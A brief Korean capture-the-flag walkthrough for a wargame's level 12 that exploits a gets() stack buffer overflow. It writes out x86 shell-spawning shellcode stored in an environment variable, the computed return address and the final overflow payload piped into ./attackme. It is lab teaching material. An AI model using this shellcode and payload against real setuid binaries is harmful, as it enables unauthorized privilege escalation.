SMALL
level12 // it is like this
힌트는 다음과 같다.
main 함수를 분석하면 핵심 부분이 있는데 그 부분은 gets 함수를 사용하는데있다.
gets()함수는 사용자가 엔터를 치기 전까지 입력한 값들을 인자로 주어진 메모리 주소에 저장한다. 즉, 엔터를 입력하기 전까지 얼마든지 많은 값을 입력할 수 있다는 말이다. ->문자열을 입력받지만 문자열을 담을 공간의 길이와 입력받은 문자열의 길이를 확인하지 않는다.
환경변수를 이용한 공격을 해보겠습니다.
SH라는 환경변수를 넣어주었다.
export SH=`python -c 'print "\x90"*100+"\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
환경변수 주소를 구하는 코드를 짜고 주소를 알아보니 0xbffffe5b
11번과 동일한 방법으로 풀면되겠다.
환경변수주소(little endian) : \x5b\xfe\xff\xbf
환경변수 주소를 ret에 넣어준다.
그리고 최종적으로 페이로드는 다음과 같이 넣으면 해결이 된다.
(python -c 'print "\x90"*268+"\x5b\xfe\xff\xbf"';cat)|./attackme